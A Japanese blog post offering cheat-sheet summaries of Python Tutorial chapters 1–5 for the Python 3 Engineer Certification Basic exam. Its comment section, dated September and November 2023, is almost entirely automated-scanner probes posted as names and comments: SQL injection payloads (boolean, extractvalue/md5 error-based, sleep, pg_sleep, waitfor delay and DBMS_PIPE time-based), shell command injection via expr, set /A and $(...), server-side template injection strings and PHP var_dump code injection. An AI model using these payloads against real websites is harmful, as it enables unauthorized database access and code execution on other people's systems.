カテゴリ:Python 投稿:2022年8月15日0:56、更新:2022年8月22日22:31
・記事の概要
Python3エンジニア認定基礎試験でよく問われる
Pythonチュートリアル(第4版)の内容の中で記憶が曖昧になりそうな部分を
それぞれシートにまとめてみました!取り急ぎ1〜5章の内容です。
初学者や非エンジニアの方にも、なるべく分かりやすくまとめます!
・この記事の対象
・Python3エンジニア認定基礎試験を受験する方(非エンジニアの方含み)
・Pythonチュートリアルの1~5章の確認をしたい方
・同試験を受験する直前に記憶のチェックをしたい方
・なんの解説か
普段はPythonチュートリアル(第4版)を章ごとに解説していますが
今回は試験前のまとめのような感じです。
詳細な知識ではなく、試験直前で確認するチートシート的内容です。
今回は1~5章の内容をまとめ、次回は6章以降をまとめます。
6章以降のまとめ:試験で問われるかつ記憶が曖昧になりそうな箇所を総まとめ②
また、公式書籍の準備がまだという方は、購入をお勧めします。
内容が分かりにくいというレビューも聞きますが、
(実際に初学者へ凄く丁寧な説明というわけではないが)
要点をかなりしっかり抑えた内容ですので、
資格取得という面ではなくとも手元にあるといいものです。
・実際のシート
以下にシートでまとめていきますので、ご利用ください。
前述の通り、試験前の知識整理や確認が用途です。
内容の追加・ブラッシュアップも適宜できればとは思います。
・1~2章:問われやすい観点抜粋
・3章:問われやすい観点抜粋
・4章:関数の引数
・5章:各データ型の特徴
・5章:リスト周りや演算子
・5章:和や交差など
・まとめ
ちょっとまだ思いついたものをシートに起こしている状態なので
「これも該当するなあ」というものがあれば追加していきます。
Python3認定基礎試験の解説記事は今後も続けてみようと思いますが、
皆様の参考になれば幸いです。
繰り返しにはなりますが、受験には公式書籍があった方がいいですので
メインは書籍でインプットをしていきましょう!
ただ「本当にプログラミング自体が初心者で」という場合は公式書籍の前に
「スッキリシリーズ」のテキストから入ると挿絵や説明がかなり分かりやすく
初めての理解には役立つかもしれません。
私も未経験の新卒時にはJavaで同じシリーズを読んでいました。
(経験者からすると少し冗長的かもしれないが、それくらい丁寧である)
・関連記事
Python3認定基礎試験関連の記事が以下にもあります。
参考までにぜひ!
・第4章(P30~)に関する説明記事
・第9章の前に読んでほしい記事
・1問1答形式で使いやすい演習問題サイトの紹介記事
Python3エンジニア認定基礎試験の使いやすい演習問題サイトをご紹介!
・6章以降の総まとめ(後半記事)
コメント一覧
名無し / 2023年9月13日7:33
123456
名無し
expr 986268650 + 821874254 / 2023年9月13日7:35
123456
名無し|expr 823047115 + 805203335 / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456
${@var_dump(md5(332155553))}; / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
/*1*/{{883276187+933739187}}
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456
${991828593+917831895} / 2023年9月13日7:35
123456
'-var_dump(md5(395352489))-' / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
${820768132+831830528}
名無し / 2023年9月13日7:35
123456
名無し&set /A 973934112+852381929 / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
${917762261+952936157}
名無し / 2023年9月13日7:35
${@var_dump(md5(693979348))};
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
${(928391156+999297008)?c}
名無し / 2023年9月13日7:35
123456
expr 944837869 + 894502643 / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456'and/**/extractvalue(1,concat(char(126),md5(1479073904)))and'
名無し / 2023年9月13日7:35
'-var_dump(md5(732679154))-'
名無し'and'e'='e / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
#set($c=825582800+816827950)${c}$c
名無し / 2023年9月13日7:35
123456
expr 862093447 + 991348078
名無し / 2023年9月13日7:35
123456"and/**/extractvalue(1,concat(char(126),md5(1839369637)))and"
名無し'and't'='w / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
<%- 866064693+841516739 %>
名無し / 2023年9月13日7:35
123456|expr 990485739 + 815356940
名無し / 2023年9月13日7:35
extractvalue(1,concat(char(126),md5(1003825924)))
名無し"and"p"="p / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456$(expr 936242235 + 826291521)
名無し / 2023年9月13日7:35
123456'and(select'1'from/**/cast(md5(1612863563)as/**/int))>'0
名無し"and"c"="n / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456&set /A 916419205+870797179
名無し / 2023年9月13日7:35
123456/**/and/**/cast(md5('1321661454')as/**/int)>0
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
expr 899417803 + 918143737
名無し / 2023年9月13日7:35
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1379657424')))
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1611051645')))>'0
名無し / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456鎈'"\(
/*1*/{{838163476+885537301}} / 2023年9月13日7:35
123456
名無し / 2023年9月13日7:35
123456'"\(
${940746593+893486530} / 2023年9月13日7:35
123456
${(949518005+966929101)?c} / 2023年9月13日7:35
123456
<%- 990312157+829463503 %> / 2023年9月13日7:36
123456
名無し / 2023年9月13日7:36
123456/**/and+4=4
名無し / 2023年9月13日7:36
123456/**/and+4=8
名無し / 2023年9月13日7:36
123456'and'q'='q
名無し / 2023年9月13日7:36
123456'and'x'='a
名無し / 2023年9月13日7:36
123456"and"o"="o
名無し / 2023年9月13日7:36
123456"and"v"="f
名無し / 2023年9月13日7:36
(select*from(select+sleep(0)union/**/select+1)a)
名無し / 2023年9月13日7:36
(select*from(select+sleep(2)union/**/select+1)a)
名無し鎈'"\( / 2023年9月13日7:36
123456
名無し / 2023年9月13日7:36
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
名無し'"\( / 2023年9月13日7:36
123456
名無し / 2023年9月13日7:36
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
名無し / 2023年9月13日7:36
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
名無し / 2023年9月13日7:36
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
名無し / 2023年9月13日7:36
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
名無し / 2023年9月13日7:37
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
名無し / 2023年9月13日7:37
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
名無し / 2023年9月13日7:37
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
名無し / 2023年9月13日7:37
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
名無し / 2023年9月13日7:37
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
名無し / 2023年9月13日7:37
123456'and(select+1)>0waitfor/**/delay'0:0:0
名無し / 2023年9月13日7:37
123456'and(select+1)>0waitfor/**/delay'0:0:2
名無し / 2023年9月13日7:37
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n',0)
名無し / 2023年9月13日7:37
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('t',2)
名無し / 2023年9月13日7:37
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',0)='p
名無し / 2023年9月13日7:37
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d
名無し / 2023年11月7日15:29
123456
名無し / 2023年11月7日15:29
123456
名無し / 2023年11月7日15:30
123456
expr 868339237 + 843840840
${@var_dump(md5(769820626))}; / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456|expr 805579809 + 976557625
'-var_dump(md5(705496411))-' / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456$(expr 942774235 + 827787536)
名無し / 2023年11月7日15:31
${@var_dump(md5(599784279))};
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456&set /A 829101865+865495406
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
'-var_dump(md5(861398805))-'
名無し / 2023年11月7日15:31
123456
${840569737+840578004} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
expr 813927243 + 894017352
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
${908426448+938306261}
名無し / 2023年11月7日15:31
123456
/*1*/{{867794073+852494124}} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
${990090586+845261611} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
${(806559075+956382114)?c} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し
expr 846433579 + 980985328 / 2023年11月7日15:31
123456
名無し鎈'"\( / 2023年11月7日15:31
123456
名無し|expr 848985901 + 880118282 / 2023年11月7日15:31
123456
<%- 974836987+980741232 %> / 2023年11月7日15:31
123456
名無し'"\( / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
/*1*/{{840674670+846128100}}
名無し / 2023年11月7日15:31
123456'and/**/extractvalue(1,concat(char(126),md5(1710131632)))and'
名無し&set /A 914177456+889594804 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
${874057432+946475379}
名無し / 2023年11月7日15:31
123456"and/**/extractvalue(1,concat(char(126),md5(1269127958)))and"
expr 908315816 + 952116947 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
${(858169371+987495696)?c}
名無し / 2023年11月7日15:32
extractvalue(1,concat(char(126),md5(1271701421)))
名無し / 2023年11月7日15:32
#set($c=825794816+921476385)${c}$c
名無し / 2023年11月7日15:32
123456'and(select'1'from/**/cast(md5(1380024072)as/**/int))>'0
名無し / 2023年11月7日15:32
<%- 965335703+969728808 %>
名無し / 2023年11月7日15:32
123456/**/and/**/cast(md5('1238679112')as/**/int)>0
名無し / 2023年11月7日15:32
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1723115476')))
名無し / 2023年11月7日15:32
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1604987931')))>'0
名無し / 2023年11月7日15:32
123456鎈'"\(
名無し'and'i'='i / 2023年11月7日15:32
123456
名無し / 2023年11月7日15:32
123456'"\(
名無し'and'l'='u / 2023年11月7日15:32
123456
名無し"and"v"="v / 2023年11月7日15:32
123456
名無し"and"w"="m / 2023年11月7日15:32
123456
名無し / 2023年11月7日15:33
123456/**/and+3=3
名無し / 2023年11月7日15:33
123456/**/and+2=6
名無し / 2023年11月7日15:33
123456'and'g'='g
名無し / 2023年11月7日15:33
123456'and'e'='d
名無し / 2023年11月7日15:33
123456"and"x"="x
名無し / 2023年11月7日15:33
123456"and"g"="k
名無し / 2023年11月7日15:33
(select*from(select+sleep(0)union/**/select+1)a)
名無し / 2023年11月7日15:33
(select*from(select+sleep(2)union/**/select+1)a)
名無し / 2023年11月7日15:33
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
名無し / 2023年11月7日15:33
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
名無し / 2023年11月7日15:34
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
名無し / 2023年11月7日15:34
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
名無し / 2023年11月7日15:34
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
名無し / 2023年11月7日15:34
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
名無し / 2023年11月7日15:34
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
名無し / 2023年11月7日15:34
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
名無し / 2023年11月7日15:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
名無し / 2023年11月7日15:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
名無し / 2023年11月7日15:34
123456'and(select+1)>0waitfor/**/delay'0:0:0
名無し / 2023年11月7日15:34
123456'and(select+1)>0waitfor/**/delay'0:0:2
名無し / 2023年11月7日15:34
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('t',0)
名無し / 2023年11月7日15:34
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('h',2)
名無し / 2023年11月7日15:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s
名無し / 2023年11月7日15:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y